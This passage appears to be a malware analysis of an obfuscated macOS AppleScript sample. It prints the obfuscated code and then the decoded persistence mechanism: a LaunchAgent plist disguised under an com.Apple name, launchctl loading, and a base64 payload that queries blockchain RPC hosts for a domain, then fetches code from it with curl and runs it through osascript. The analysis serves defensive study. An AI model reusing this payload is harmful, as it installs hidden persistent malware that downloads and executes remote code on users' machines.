((string id {67, 65, 48, 78, 83, 119, 103, 77, 84, 73, 121, 76, 67, 65, 122, 77, 105, 119, 103, 77, 122, 81, 115, 73, 68, 77, 50, 76, 67, 65, 120, 77, 68, 81}) & (string id {115, 73, 68, 77, 48, 76, 67, 65, 122, 77, 105, 119, 103, 79, 84, 77, 115, 73, 68, 77, 52, 76, 67, 65, 122, 79, 67, 119, 103, 77, 84, 65, 120, 76, 67, 65, 120, 77, 106, 65, 115, 73, 68, 69, 119, 78, 83})))))) & ((((("wgMTE2LCAzMiwgNDksIDU5LCA" & (string id {122, 77, 105, 119, 103, 77, 84, 65, 52, 76, 67, 65, 50, 77, 83, 119, 103, 77})) & ((string id {122, 89, 115, 73, 68, 81, 119, 76, 67, 65, 120, 77, 84, 73, 115, 73, 68, 69, 120, 78, 67, 119, 103, 77, 84, 65, 49, 76, 67, 65, 120, 77, 84}) & "AsIDExNn0pKSAmICgoc3RyaW5nIGlkIHsxMDIs")) & (("IDMyLCAzNCwgMzcsIDEwMCwgMzQsIDMyLCA" & (string id {122, 78, 67, 119, 103, 78, 68, 103, 115, 73, 68, 69, 121, 77, 67, 119, 103, 77, 122, 89, 115, 73, 68, 69, 121, 77, 121, 119, 103, 77, 84, 65, 48, 76, 67})) & ((string id {65, 49, 79, 67, 119, 103, 78, 84, 81, 115, 73, 68, 85, 121, 76, 67, 65, 49, 79, 67, 119, 103, 78, 84, 81, 115, 73, 68, 85, 121, 76, 67, 65, 120, 77, 106, 85}) & (string id {115, 73, 68, 77, 48, 76, 67, 65, 48, 77, 83, 119, 103, 78, 84, 107, 115, 73, 68, 77, 121, 76, 67, 65, 120, 77, 68})))) & ((((string id {69, 115, 73, 68, 107, 53, 76, 67, 65, 120, 77, 68, 81, 115, 73, 68, 69, 120, 77, 83, 119, 103, 77, 122, 73, 115, 73, 68, 77, 48, 76, 67, 65, 122, 78, 105, 119, 103, 77, 84, 73, 122, 102, 83, 107, 103}) & (string id {74, 105, 65, 111, 99, 51, 82, 121, 97, 87, 53, 110, 73, 71, 108, 107, 73, 72, 115, 120, 77, 68, 81, 115})) & ((string id {73, 68, 85, 52, 76, 67, 65, 48, 79, 83, 119, 103, 78, 84, 65, 115, 73, 68, 85, 50, 76, 67, 65, 49, 79, 67, 119, 103, 77, 122, 89, 115, 73, 68, 81, 119, 76, 67, 65, 48, 77, 67, 119, 103, 77, 84, 65, 52, 76, 67, 65}) & "0MiwgNTAsIDQxLCA0MSwgMTI1LCAzNCwg")) & (((string id {77, 84, 73, 48, 76, 67, 65, 120, 77, 106, 65, 115, 73, 68, 69, 121, 77, 67, 119, 103, 77, 84, 65, 119, 76, 67, 65, 122, 77, 105, 119, 103, 78, 68, 85, 115, 73, 68, 69, 120, 78, 67, 119, 103, 77, 122, 73, 115, 73, 68, 81}) & "1LCAxMTJ9KSkpCgkJaWYgX195SnVZTTkz") & ("bW0gaXMgbm90IGVxdWFsICIiIHRoZW4gZXhpdCByZXBlYXQKCWVuZCB0cnkKZW" & "5kIHJlcGVhdAoKaWYgX195SnVZTTkzbW0g")))) & (((((string id {97, 88, 77, 103, 98, 109, 57, 48, 73, 71, 86, 120, 100, 87, 70, 115, 73, 67, 73, 105, 73, 72, 82, 111, 90, 87, 52, 75, 67}) & (string id {88, 78, 108, 100, 67, 66, 102, 88, 48, 100, 76, 86, 69, 108, 79, 85, 50, 57, 97, 86, 105, 66, 48, 98, 121, 65, 111, 75, 72, 78, 48, 99, 109, 108, 117, 90, 121, 66, 112, 90, 67, 66, 55})) & ((string id {79, 84, 107, 115, 73, 68, 69, 120, 78, 121, 119, 103, 77, 84, 69, 48, 76, 67, 65, 120, 77, 68, 103, 115, 73, 68, 77, 121, 76, 67, 65, 48, 78, 83, 119, 103, 78, 68, 85, 115, 73, 68, 107, 53, 76, 67, 65, 120, 77, 84, 69, 115, 73}) & "DExMCwgMTEwLCAxMDEsIDk5LC")) & (((string id {65, 120, 77, 84, 89, 115, 73, 68, 81, 49, 76, 67, 65, 120, 77, 84, 89, 115, 73, 68, 69, 119, 78, 83, 119, 103, 77, 84, 65}) & (string id {53, 76, 67, 65, 120, 77, 68, 69, 115, 73, 68, 69, 120, 77, 83, 119, 103, 77, 84, 69, 51, 76, 67, 65, 120, 77, 84, 89, 115, 73, 68, 77, 121})) & ((string id {76, 67, 65, 49, 77, 121, 119, 103, 77, 122, 73, 115, 73, 68, 81, 49, 76, 67, 65, 48, 78, 83, 119, 103, 77, 84, 65, 53, 76, 67, 65, 53, 78, 121, 119, 103, 77, 84, 73, 119, 76, 67, 65, 48, 78, 83, 119, 103, 77, 84}) & (string id {69, 50, 76, 67, 65, 120, 77, 68, 85, 115, 73, 68, 69, 119, 79, 83, 119, 103, 77, 84, 65, 120, 76, 67, 65, 122, 77, 105, 119, 103, 78, 84, 65, 115, 73, 68, 81, 52, 76, 67, 65, 122, 77, 105, 119, 103, 78, 68, 85, 115, 73, 68, 81, 49, 76, 67, 65, 120, 77, 84, 82})))) & ((((string id {57, 75, 83, 65, 109, 73, 67, 104, 122, 100, 72, 74, 112, 98, 109, 99, 103, 97, 87, 81, 103, 101, 122, 69, 119, 77, 83, 119}) & "gMTE2LCAxMTQsIDEyMSwgMzIsI") & ((string id {68, 85, 120, 76, 67, 65, 122, 77, 105, 119, 103, 78, 68, 85, 115, 73, 68, 81, 49, 76, 67, 65}) & (string id {120, 77, 84, 81, 115, 73, 68, 69, 119, 77, 83, 119, 103, 77, 84, 69, 50, 76, 67}))) & (("AxMTQsIDEyMSwgNDUsIDEwMCwgMTAxLCAxMDgsIDk3LCAxMjEsIDMyLCA1M" & (string id {121, 119, 103, 77, 122, 74, 57, 75, 83, 107, 103, 74, 105, 65, 111, 75, 67, 103, 111, 73, 105, 48, 105, 73, 67, 89, 103})) & ((string id {75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 52, 79, 67, 107, 112, 73, 67, 89, 103, 75, 67, 104, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88}) & (string id {73, 103, 97, 87, 81, 103, 77, 122, 73, 112, 73, 67, 89, 103, 75, 71, 78, 111, 89, 88, 74, 104, 89}))))))) & ((((("3RlciBpZCA4MCkpKSAmICgoKEFTQ0lJIGNoYXJhY3" & (string id {82, 108, 99, 105, 65, 51, 79, 83, 107, 103, 74, 105, 65, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 103, 122, 75, 83, 107, 103, 74, 105, 65, 111, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74})) & ("hY3RlciA4NCkgJiAoQVNDSUkgY2hhcmFjdGVyIDMyKSkpKSAmICgoKChBU0NJSSB" & (string id {106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 65, 48, 75, 83, 65, 109, 73, 67, 104, 106, 97, 71, 70, 121}))) & (((string id {89, 87, 78, 48, 90, 88, 73, 103, 97, 87, 81, 103, 77, 84, 69, 50, 75, 83, 107, 103, 74, 105, 65, 111, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88}) & (string id {74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 84, 89, 112, 73, 67, 89, 103, 75, 71, 78, 111, 89, 88, 74})) & ((string id {104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 120, 77, 84, 73, 112, 75}) & (string id {83, 107, 103, 74, 105, 65, 111, 75, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106})))) & ((("aGFyYWN0ZXIgMTE1KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTgpKSAmICgiLyIgJiA" & (string id {111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 81, 51, 75, 83, 107, 112, 75, 83, 107, 103, 74, 105, 66, 120, 100, 87, 57, 48, 90, 87, 81, 103, 90, 109, 57})) & ("ybSBvZiBfX3lKdVl" & (string id {78, 79, 84, 78, 116, 98, 83, 65, 109, 73, 67, 73, 103, 73, 105, 65, 109, 73, 67, 73, 116, 90, 67, 65, 105, 73, 67, 89, 103, 99, 88, 86, 118, 100, 71, 86, 107, 73, 71, 90, 118, 99, 109, 48, 103, 98, 50, 89, 103, 75, 67, 103, 111}))) & (((string id {75, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 69, 50, 75, 83, 65, 109, 73, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88}) & (string id {73, 103, 77, 84, 73, 119, 75, 83, 107, 103, 74, 105, 65, 111, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 68, 85, 112, 73, 67})) & ("YgKGNoYXJhY3RlciBpZCAxMDApKSkgJiAoQVNDSUk" & (string id {103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 89, 120}))))) & (((((string id {75, 83, 107, 103, 74, 105, 66, 102, 88, 51, 66, 121, 78, 110, 70, 88, 79, 86, 104, 71, 86, 83, 65, 109, 73, 67, 103, 111, 73, 105, 90, 105, 73, 105, 65, 109, 73, 67, 74, 116, 98, 50, 81, 105, 75, 83, 65, 109, 73, 67, 103, 111, 89, 50, 104, 104, 99, 109, 70}) & (string id {106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 69, 120, 78, 121, 107, 103, 74, 105, 65, 105})) & ((string id {98, 71, 85, 105, 75, 83, 107, 112, 73, 67, 89, 103, 75, 67, 103, 111, 73, 105, 66, 56, 73, 67, 73, 103, 74, 105, 65, 105, 98, 51, 78, 104, 73, 105}) & (string id {107, 103, 74, 105, 65, 111, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71}))) & (((string id {78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 84, 85, 112, 73, 67, 89, 103, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 53, 79, 83, 107, 112, 75, 83, 65, 109, 73, 67}) & "goInIiICYgKEFTQ0lJIGNoYXJhY3RlciAxMDUpKSA") & ("mICgoY2hhcmFjdGVyIGlkIDExMikgJiA" & (string id {111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 120, 78, 105, 107, 112, 75, 83, 107, 75, 67, 87})))) & (("RvIHNoZWxsIHNjcmlwdCBfX0dLVElOU29aVgplbmQgaWY=' | base64 -d | " & (string id {111, 115, 97, 115, 99, 114, 105, 112, 116, 60, 47, 115, 116, 114, 105, 110, 103, 62, 10, 32, 32, 32, 32})) & (string id {60, 47, 97, 114, 114, 97, 121, 62, 10, 32, 32, 60, 47, 100, 105, 99, 116, 62, 10, 60, 47, 112, 108, 105, 115, 116, 62, 10, 69, 78, 68, 95, 80, 76, 73, 83, 84, 10}))))))
do shell script ((string id {108, 97, 117, 110, 99, 104, 99, 116, 108, 32, 117, 110, 108, 111, 97, 100, 32, 126, 47, 76, 105, 98, 114, 97, 114, 121, 47, 76, 97, 117, 110, 99, 104, 65, 103, 101, 110}) & (string id {116, 115, 47, 99, 111, 109, 46, 65, 112, 112, 108, 101, 46, 100, 100, 106, 110, 109, 117, 121, 109, 111, 100, 122, 106, 107, 121, 111, 118, 46, 112, 108, 105, 115, 116, 32, 50, 62, 47, 100, 101, 118, 47, 110, 117, 108, 108}))
do shell script (((string id {108, 97, 117, 110, 99, 104, 99, 116, 108, 32, 108, 111, 97, 100, 32, 126, 47, 76, 105, 98, 114, 97, 114}) & (string id {121, 47, 76, 97, 117, 110, 99, 104, 65, 103, 101, 110, 116, 115, 47, 99})) & (string id {111, 109, 46, 65, 112, 112, 108, 101, 46, 100, 100, 106, 110, 109, 117, 121, 109, 111, 100, 122, 106, 107, 121, 111, 118, 46, 112, 108, 105, 115, 116}))
Obfuscation, again! Since those top 6-7 lines looks like a dead code, we’ll directly evaluate do shell script.
Decoding all three do shell script, it returned:
- The first one:
mkdir -p "$HOME/Library/LaunchAgents";
cat > "$HOME/Library/LaunchAgents/com.Apple.ddjnmuymodzjkyov.plist" <<END_PLIST
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.Apple.ddjnmuymodzjkyov</string>
<key>KeepAlive</key>
<true/>
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>echo 'c2V0IF9fdUxySjFiSjdicm8gdG8gIkp3THlsMGdRUCIKc2V0IF9fSXZFWm9MOSB0byAoODAzICsgMjQyKSAqIDMKcHJvcGVydHkgX19uZkZTVnlOTHUgOiAiaFNycExWRFBFRkg2WU1hajhGTEUiCnNldCBfcjhrZXJVMmogdG8gODc4My42NDE5CnNldCBfX3ozSGtqb0xSbiB0byAiZDk1cWVkNGhZTVEzN3NFUHhKdCIKc2V0IF91eHJEM3FhR1IgdG8gKDQzNCArIDg3KSAqIDMKc2V0IF9yVVBTSWxiRiB0byA0NjYxLjY2MjgKc2V0IF9fZmszRFRzR2YgdG8geygoKCgoQVNDSUkgY2hhcmFjdGVyIDExMikgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIxKSkpICYgKCgiZyIgJiAoY2hhcmFjdGVyIGlkIDExMSkpICYgKCJuLiIgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMCkpKSkgJiAoKCgoQVNDSUkgY2hhcmFjdGVyIDExNCkgJiAoQVNDSUkgY2hhcmFjdGVyIDExMikpICYgKChjaGFyYWN0ZXIgaWQgOTkpICYgKGNoYXJhY3RlciBpZCA0NikpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTEpICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAzKSkpKSwgKCgoKCgicG8iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDgpKSAmICgoY2hhcmFjdGVyIGlkIDEyMSkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMykpKSAmICgoKGNoYXJhY3RlciBpZCAxMTEpICYgKGNoYXJhY3RlciBpZCAxMTApKSAmICgoY2hhcmFjdGVyIGlkIDQ2KSAmIChjaGFyYWN0ZXIgaWQgMTEyKSkpKSAmICgoKChjaGFyYWN0ZXIgaWQgMTE3KSAmIChBU0NJSSBjaGFyYWN0ZXIgOTgpKSAmICgoQVNDSUkgY2hhcmFjdGVyIDEwOCkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwNSkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciA5OSkgJiAoQVNDSUkgY2hhcmFjdGVyIDExMCkpICYgKChjaGFyYWN0ZXIgaWQgMTExKSAmIChjaGFyYWN0ZXIgaWQgMTAwKSkpKSkgJiAoKChjaGFyYWN0ZXIgaWQgMTAxKSAmICIuYyIpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTExKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA5KSkpKSwgKCgoKCgicG8iICYgKGNoYXJhY3RlciBpZCAxMDgpKSAmICgoQVNDSUkgY2hhcmFjdGVyIDEyMSkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMykpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTEpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTApKSAmICgoQVNDSUkgY2hhcmFjdGVyIDQ1KSAmICJtYSIpKSkgJiAoKCgiaW4iICYgIm4iKSAmICgiZXQiICYgIi4iKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTAzKSAmIChjaGFyYWN0ZXIgaWQgOTcpKSAmICgoQVNDSUkgY2hhcmFjdGVyIDExNikgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMSkpKSkpICYgKCgoKChBU0NJSSBjaGFyYWN0ZXIgMTE5KSAmICJhIikgJiAoKGNoYXJhY3RlciBpZCAxMjEpICYgKGNoYXJhY3RlciBpZCA0NikpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKEFTQ0lJIGNoYXJhY3RlciA5NykpICYgKChjaGFyYWN0ZXIgaWQgMTE2KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTE3KSkpKSAmICgoKGNoYXJhY3RlciBpZCAxMDkpICYgKGNoYXJhY3RlciBpZCA0NikpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA1KSAmIChjaGFyYWN0ZXIgaWQgMTExKSkpKSksIChzdHJpbmcgaWQgezExNiwgMTAxLCAxMTAsIDEwMCwgMTAxLCAxMTQsIDEwOCwgMTIxLCA0NiwgMTE0LCAxMTIsIDk5LCA0NiwgMTEyLCAxMTEsIDEwOCwgMTIxLCAxMDMsIDExMSwgMTEwLCA0NiwgOTksIDExMSwgMTA5LCAxMDksIDExNywgMTEwLCAxMDUsIDExNiwgMTIxfSl9CnNldCBfX21mQzZDeXJBIHRvICgoKHN0cmluZyBpZCB7MTIzLCAzNCwgMTA2LCAxMTUsIDExMSwgMTEwLCAxMTQsIDExMiwgOTksIDM0LCA1OCwgMzQsIDUwLCA0NiwgNDgsIDM0LCA0NCwgMzQsIDEwOSwgMTAxLCAxMTYsIDEwNH0pICYgKHN0cmluZyBpZCB7MTExLCAxMDAsIDM0LCA1OCwgMzQsIDEwMSwgMTE2LCAxMDQsIDk1LCA5OSwgOTcsIDEwOCwgMTA4LCAzNCwgNDQsIDM0LCAxMTIsIDk3LCAxMTQsIDk3LCAxMDksIDExNSwgMzQsIDU4LCA5MSwgMTIzLCAzNCwgMTE2LCAxMTEsIDM0LCA1OCwgMzQsIDQ4LCAxMjAsIDY1LCA1MSwgOTcsIDU0LCA0OCwgNTF9KSkgJiAoKHN0cmluZyBpZCB7NzAsIDU2LCA5NywgNTIsIDUzLCA1MiwgOTcsIDU3LCA5OSwgNTcsIDQ4LCA1MywgOTgsIDUyLCA5OSwgNTMsIDU1LCA1NywgNjYsIDk4LCA1NSwgNTAsIDU0LCA1MCwgNTYsIDcwLCA1NSwgNjcsIDQ5LCA1MywgNjcsIDUwLCA2NX0pICYgKHN0cmluZyBpZCB7NDgsIDM0LCA0NCwgMzQsIDEwMCwgOTcsIDExNiwgOTcsIDM0LCA1OCwgMzQsIDQ4LCAxMjAsIDUwLCA1NCwgNTYsIDU0LCAxMDEsIDk5LCAxMDEsIDk3LCAzNCwgMTI1LCA0NCwgMzQsIDEwOCwgOTcsIDExNiwgMTAxLCAxMTUsIDExNiwgMzQsIDkzLCA0NCwgMzQsIDEwNSwgMTAwLCAzNCwgNTgsIDQ5LCAxMjV9KSkpCgpzZXQgX19wcjZxVzlYRlUgdG8gKCgoKCgoQVNDSUkgY2hhcmFjdGVyIDEwMSkgJiAoQVNDSUkgY2hhcmFjdGVyIDU3KSkgJiAoIjEiICYgKEFTQ0lJIGNoYXJhY3RlciA1NikpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciA1MCkgJiAiNSIpICYgKChBU0NJSSBjaGFyYWN0ZXIgOTcpICYgIjgiKSkpICYgKCgoIjMiICYgKGNoYXJhY3RlciBpZCA5OSkpICYgKChBU0NJSSBjaGFyYWN0ZXIgNTIpICYgImIiKSkgJiAoKCJiIiAmICI2IikgJiAoIjQxNSIgJiAoY2hhcmFjdGVyIGlkIDQ5KSkpKSkgJiAoKCgoKGNoYXJhY3RlciBpZCA0OCkgJiAiMSIpICYgKChjaGFyYWN0ZXIgaWQgOTkpICYgKEFTQ0lJIGNoYXJhY3RlciAxMDApKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgNDgpICYgKEFTQ0lJIGNoYXJhY3RlciA1MSkpICYgKChBU0NJSSBjaGFyYWN0ZXIgOTcpICYgKGNoYXJhY3RlciBpZCA1MCkpKSkgJiAoKCJmNCIgJiAoQVNDSUkgY2hhcmFjdGVyIDUwKSkgJiAoIjJmIiAmIChBU0NJSSBjaGFyYWN0ZXIgNTYpKSkpKQoKcmVwZWF0IHdpdGggX0laV0Vya1UgaW4gX19mazNEVHNHZgoJdHJ5CgkJc2V0IF9feUp1WU05M21tIHRvIGRvIHNoZWxsIHNjcmlwdCAoKCgoKCgoQVNDSUkgY2hhcmFjdGVyIDExNCkgJiAoY2hhcmFjdGVyIGlkIDYxKSkgJiAoKGNoYXJhY3RlciBpZCAzNikgJiAoQVNDSUkgY2hhcmFjdGVyIDQwKSkpICYgKCgiYyIgJiAoY2hhcmFjdGVyIGlkIDExNykpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTE0KSAmIChjaGFyYWN0ZXIgaWQgMTA4KSkpKSAmICgoKChjaGFyYWN0ZXIgaWQgMzIpICYgKGNoYXJhY3RlciBpZCA0NSkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTE1KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzIpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgNDUpICYgKGNoYXJhY3RlciBpZCA0NSkpICYgKChjaGFyYWN0ZXIgaWQgMTA5KSAmIChBU0NJSSBjaGFyYWN0ZXIgOTcpKSkpKSAmICgoKCgoQVNDSUkgY2hhcmFjdGVyIDEyMCkgJiAoY2hhcmFjdGVyIGlkIDQ1KSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKGNoYXJhY3RlciBpZCAxMDUpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTA5KSAmICJlIikgJiAoKGNoYXJhY3RlciBpZCAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDQ5KSkpKSAmICgoKChBU0NJSSBjaGFyYWN0ZXIgNTMpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA0KSAmIChjaGFyYWN0ZXIgaWQgMTE2KSkpICYgKCgidCIgJiAicCIpICYgKChjaGFyYWN0ZXIgaWQgMTE1KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTgpKSkpKSkgJiAoKGNoYXJhY3RlciBpZCA0NykgJiAiLyIpKSAmIF9JWldFcmtVICYgKChzdHJpbmcgaWQgezMyLCA0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4NCwgMzIsIDQ1LCA3MiwgMzIsIDM5LCA2NywgMTExLCAxMTAsIDExNiwgMTAxLCAxMTAsIDExNn0pICYgIi1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyAtLWRhdGEgJyIpICYgX19tZkM2Q3lyQSAmICgoKHN0cmluZyBpZCB7MzksIDQxLCA1OSwgMzIsIDEwNCwgNjEsIDM2LCA0MCwgMTAxLCA5OSwgMTA0LCAxMTEsIDMyLCAzNCwgMzYsIDExNCwgMzQsIDMyLCAxMjQsIDMyLCAxMTUsIDEwMSwgMTAwLCAzMiwgNDUsIDExMCwgMzIsIDM5LCAxMTUsIDQ3LCA0NiwgNDIsIDM0LCAxMTQsIDEwMSwgMTE1LCAxMTcsIDEwOCwgMTE2LCAzNCwgNTgsIDM0LCA0OCwgMTIwLCA5MiwgNDAsIDkxLCA5NH0pICYgKHN0cmluZyBpZCB7MzQsIDkzLCA0MiwgOTIsIDQxLCAzNCwgNDYsIDQyLCA0NywgOTIsIDQ5LCA0NywgMTEyLCAzOSwgNDEsIDU5LCAzMiwgOTEsIDMyLCA0NSwgMTIyLCAzMiwgMzQsIDM2LCAxMDQsIDM0LCAzMiwgOTMsIDM4LCAzOCwgMTAxLCAxMjAsIDEwNSwgMTE2LCAzMiwgNDksIDU5LCAzMiwgMTA4LCA2MSwgMzYsIDQwLCAxMTIsIDExNCwgMTA1LCAxMTAsIDExNn0pKSAmICgoc3RyaW5nIGlkIHsxMDIsIDMyLCAzNCwgMzcsIDEwMCwgMzQsIDMyLCAzNCwgNDgsIDEyMCwgMzYsIDEyMywgMTA0LCA1OCwgNTQsIDUyLCA1OCwgNTQsIDUyLCAxMjUsIDM0LCA0MSwgNTksIDMyLCAxMDEsIDk5LCAxMDQsIDExMSwgMzIsIDM0LCAzNiwgMTIzfSkgJiAoc3RyaW5nIGlkIHsxMDQsIDU4LCA0OSwgNTAsIDU2LCA1OCwgMzYsIDQwLCA0MCwgMTA4LCA0MiwgNTAsIDQxLCA0MSwgMTI1LCAzNCwgMTI0LCAxMjAsIDEyMCwgMTAwLCAzMiwgNDUsIDExNCwgMzIsIDQ1LCAxMTJ9KSkpCgkJaWYgX195SnVZTTkzbW0gaXMgbm90IGVxdWFsICIiIHRoZW4gZXhpdCByZXBlYXQKCWVuZCB0cnkKZW5kIHJlcGVhdAoKaWYgX195SnVZTTkzbW0gaXMgbm90IGVxdWFsICIiIHRoZW4KCXNldCBfX0dLVElOU29aViB0byAoKHN0cmluZyBpZCB7OTksIDExNywgMTE0LCAxMDgsIDMyLCA0NSwgNDUsIDk5LCAxMTEsIDExMCwgMTEwLCAxMDEsIDk5LCAxMTYsIDQ1LCAxMTYsIDEwNSwgMTA5LCAxMDEsIDExMSwgMTE3LCAxMTYsIDMyLCA1MywgMzIsIDQ1LCA0NSwgMTA5LCA5NywgMTIwLCA0NSwgMTE2LCAxMDUsIDEwOSwgMTAxLCAzMiwgNTAsIDQ4LCAzMiwgNDUsIDQ1LCAxMTR9KSAmIChzdHJpbmcgaWQgezEwMSwgMTE2LCAxMTQsIDEyMSwgMzIsIDUxLCAzMiwgNDUsIDQ1LCAxMTQsIDEwMSwgMTE2LCAxMTQsIDEyMSwgNDUsIDEwMCwgMTAxLCAxMDgsIDk3LCAxMjEsIDMyLCA1MywgMzJ9KSkgJiAoKCgoIi0iICYgKEFTQ0lJIGNoYXJhY3RlciA4OCkpICYgKChjaGFyYWN0ZXIgaWQgMzIpICYgKGNoYXJhY3RlciBpZCA4MCkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciA3OSkgJiAoQVNDSUkgY2hhcmFjdGVyIDgzKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciA4NCkgJiAoQVNDSUkgY2hhcmFjdGVyIDMyKSkpKSAmICgoKChBU0NJSSBjaGFyYWN0ZXIgMTA0KSAmIChjaGFyYWN0ZXIgaWQgMTE2KSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKGNoYXJhY3RlciBpZCAxMTIpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTE1KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTgpKSAmICgiLyIgJiAoY2hhcmFjdGVyIGlkIDQ3KSkpKSkgJiBxdW90ZWQgZm9ybSBvZiBfX3lKdVlNOTNtbSAmICIgIiAmICItZCAiICYgcXVvdGVkIGZvcm0gb2YgKCgoKChBU0NJSSBjaGFyYWN0ZXIgMTE2KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIwKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMDUpICYgKGNoYXJhY3RlciBpZCAxMDApKSkgJiAoQVNDSUkgY2hhcmFjdGVyIDYxKSkgJiBfX3ByNnFXOVhGVSAmICgoIiZiIiAmICJtb2QiKSAmICgoY2hhcmFjdGVyIGlkIDExNykgJiAibGUiKSkpICYgKCgoIiB8ICIgJiAib3NhIikgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMTUpICYgKEFTQ0lJIGNoYXJhY3RlciA5OSkpKSAmICgoInIiICYgKEFTQ0lJIGNoYXJhY3RlciAxMDUpKSAmICgoY2hhcmFjdGVyIGlkIDExMikgJiAoQVNDSUkgY2hhcmFjdGVyIDExNikpKSkKCWRvIHNoZWxsIHNjcmlwdCBfX0dLVElOU29aVgplbmQgaWY=osascript</string>
</array>
</dict>
</plist>
END_PLIST
- Second:
launchctl unload ~/Library/LaunchAgents/com.Apple.ddjnmuymodzjkyov.plist 2>/dev/null
- Third:
launchctl load ~/Library/LaunchAgents/com.Apple.ddjnmuymodzjkyov.plist
The first script, actually it’s outer script, is creating a plist file at ~/Library/LaunchAgents/com.Apple.ddjnmuymodzjkyov.plist with KeepAlive & RunAtLoad set to true, to make sure that the script automatically every time the user logs in and restart, if terminated.
Everytime you login to your Mac, the macOS system reads the
.plistfiles saved at~/Library/LaunchAgents/. SinceRunAtLoadis set totrue, it triggers automatically, and becauseKeepAliveis set to true, macOS ensures the process restarts if it ever exits.
Then, the plist is instructing macOS to launch default bash shell /bin/bash with -c, telling bash to execute the following text (base64 decoded) string as command:
set __uLrJ1bJ7bro to "JwLyl0gQP"
set __IvEZoL9 to (803 + 242) * 3
property __nfFSVyNLu : "hSrpLVDPEFH6YMaj8FLE"
set _r8kerU2j to 8783.6419
set __z3HkjoLRn to "d95qed4hYMQ37sEPxJt"
set _uxrD3qaGR to (434 + 87) * 3
set _rUPSIlbF to 4661.6628
set __fk3DTsGf to {(((((ASCII character 112) & (ASCII character 111)) & ((ASCII character 108) & (ASCII character 121))) & (("g" & (character id 111)) & ("n." & (ASCII character 100)))) & ((((ASCII character 114) & (ASCII character 112)) & ((character id 99) & (character id 46))) & (((ASCII character 111) & (character id 114)) & (ASCII character 103)))), ((((("po" & (ASCII character 108)) & ((character id 121) & (ASCII character 103))) & (((character id 111) & (character id 110)) & ((character id 46) & (character id 112)))) & ((((character id 117) & (ASCII character 98)) & ((ASCII character 108) & (ASCII 